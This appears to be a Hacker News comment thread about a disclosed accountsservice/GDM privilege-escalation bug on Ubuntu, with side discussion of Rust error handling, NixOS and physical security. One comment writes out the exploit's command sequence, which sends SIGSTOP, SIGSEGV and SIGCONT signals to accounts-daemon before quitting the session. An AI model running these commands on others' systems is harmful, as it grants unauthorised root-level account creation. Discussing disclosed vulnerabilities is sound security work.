I learned to introspect my code in this way as a byproduct of learning Rust. It began with Rust's strict type system, which forced me to carefully consider each and every value and variable and how I toss them around and how and where and how long I am going to access them in my code. It continued with the error handling policies of Rust in a similar way. The learning curve of Rust was steep for me and coding the first months was tedious. But once I got the hang of it, I started to love it. Fighting the compiler, I have to go through every aspect of my code in a super careful way over and over again and once the compiler gives the Go, I feel love and appreciation for my code - as if I crafted something special, that was approved by the master. Code no longer was for me something thrown into the editor as fast as possible with just the effort to make it run somehow reliably. I felt now, as if my code was a piece of art, well thought out and beautifully crafted, made to serve for many years, like a musical instrument. In other words, Rust was changing the appreciation of my own work and gently shoved me to a more careful approach of coding.
At some point in development I go through my code to do some manual formatting, you know, aesthetic stuff like indenting to make the code look more beautiful (in a human way, not a linter's way). Like a last polish. And on this run, I look at my code as a hacker. How would I crack it? How would it handle that and that exception? I try to think really evil. I think many programmers shy away of this step, because it can mean a lot, a lot of new work. And this is where Zero Days as the one described in the thread originate.
What if the root user intentionally deleted all non-root users? GDM would just let anyone creates an user with wheel?
I've recently learned a lot of Rust. Rust's std::result::Result type [1] helps avoid this error. I think it is superior to the error handling facilities in other languages:
- C: errno, boolean return values, `null`
- C++: exceptions, errno, boolean return values, `null`; std::expected<T,E> is being developed
- Java: exceptions, `null`, Optional<T>
- Golang: `nil`, `error`, `if err != nil { return nil, err }` boilerplate
- Javascript: `undefined`, exceptions, futures
- Python: exceptions, `None`, boolean return values
- Swift: exceptions, `nil`, `try?`, optional values
- Dart: exceptions, futures, `null`
Would it be worthwhile to create Result-like error handling libraries for the major languages?
[1]: https://doc.rust-lang.org/book/ch09-02-recoverable-errors-wi...
Sounds like a fun day to me.
I wish I had a Linux distro that split the OS from the userland more neatly.
I want to boot into something minimal and static, and then add complexity from there. Maybe logging in to a local container instead of the actual OS?
Linux as an easily extendable building filled with rooms and workshops and entertainment areas, rather than Linux as a mere desktop.
I still can't believe it's not more widely used (and I only started using linux full-time earlier this year). It confines the entire (non-user) filetree into the read-only /nix directory, and manages every single component of the OS through Nix, the package manager - and I guess nix-daemon in the case of NixOS specifically - 100% declaratively. You define the entire thing through a single configuration.nix file.
You can even do crazy stuff like erasing the root upon each reboot, leaving only /nix and /home if you wanted, and I think I remember in the article I was reading about it that it can mount everything on a tmpfs or something like that, so you have a perfectly "clean" root tree every time you restart the computer (as /nix is stateless, it's guaranteed not to change except when rebuilding the system configuration).
The point of nixos is really the declarative aspect, with "splitting" the OS being more of a secondary benefit, but for your case, you might like the whole declarative builds thing in general to accomplish that.
Is there an option that doesn't require everyone who uses it to learn an entirely new language?
This.
Also, in my experience proponents of NixOS significantly understate the technical complexity and various idiosyncrasies present in trying to get NixOS set up and usable for daily driving. I found several examples where the documentation was unclear, confusing, or out of date.
Coming from DevOps, I'm certainly a fan of declarative/immutable patterns, but it feels like NixOS requires more work than some would have you believe.
Or just 'pkill -SIGSTOP accounts-daemon'. pkill matches by process name.
To clarify, do we really need a service (and an unsafe, exploitable one), to do something, we've been doing without it for years on all other distros.
> Way better for writing gui apps against instead of wrapping suid binaries and parsing strings horribly.
I would call that a laudable goal. Just seems like the design needs a deep security review.
Normally that privilege dropping should happen after forking, right? And if it does the parent process should respond to gdm's inquiry.
That being said, the initial settings thing is probably good for a few more escalations as its usecase does not seem to fit the standard security measures very well.
> An unprivileged process may change its real UID, effective UID, and saved set‐user‐ID, each to one of: the current real UID, the current effective UID or the current saved set‐user‐ID.
accountsservice did something like setresuid(uid, uid, -1), which set both real and effective UIDs, but kept saved set‐user‐ID as root, so that it could re-gain root privileges later.
Setting EUID was the correct course of action; but setting real UID let the unprivileged user kill the process.
pkill -SIGSTOP accounts-daemon &&
nohup bash -c "sleep 5s; pkill -SIGSEGV accounts-daemon; pkill -SIGCONT accounts-daemon" &
gnome-session-quit
sudo systemctl stop accounts-daemon.service && sudo systemctl disable accounts-daemon.service
Shouldn't that be a root process to which a non-root process cannot send signals?
Unix Basics 101
> Armed with accounts-daemon’s PID, you can use kill to send the SIGSTOP signal
what `pkill` is for?
The flaw here involves access to the GUI, which in most cases implies that they have physical access. (and in most cases would imply it is "their" machine in any event)
For that matter, many shopping malls have information kiosks, retail stores have demo laptops, banks have ATM machines, airlines have automatic check-ins, etc. If you're typing away, no one will care. If you're opening up the device with a crowbar, or even screw driver, you'd better have a nice orange high-viz uniform, lanyard, and clipboard. Without those, security will drag you awat.
The core reason this did not constitute a proof is because physical security people misapply lessons from that domain to digital, and software engineers misapply lessons from digital to physical. In the virtual world, I'm open to 7 billion potential attackers. In the physical world, I'm open to a few. That leads to very different security practices.
If I leave my front door unlocked for a week, the security risk is minimal where I live. Casual security is good enough. If I leave my computer with even a pretty obscure vulnerability connected to the internet for 5 minutes, odds are pretty good it will be compromised.
Clipboards+lanyard+high viz vest is imperfect security (and I chose the example deliberately to illustrate that), but it is good enough security to practically prevent physical compromises in most instances. I won't run a military base that way, or a HIPAA-compliant data system, but it's good enough for 95% of uses, including, for example, a university physics department's research data system.
Even a military base doesn't have perfect security; a well-resourced attacker can compromise it. In contrast, in the virtual world, I want cryptographic protocols where I can prove perfect security, at least given a relatively small set of assumptions.
> The computers are in a locked cabinet, ...
Or, in other words, no physical access?
If I have access to a keyboard connected to CPU, that's a form of "physical access." IO devices are part of the computer.
The problem is the mixture of responsibilities in GDM. Someone decided to use its root permissions for a purpose unrelated to display management.
EDIT: Oops, I didn't read the deep dive section, and I guess he says how he stumbled upon it. My bad!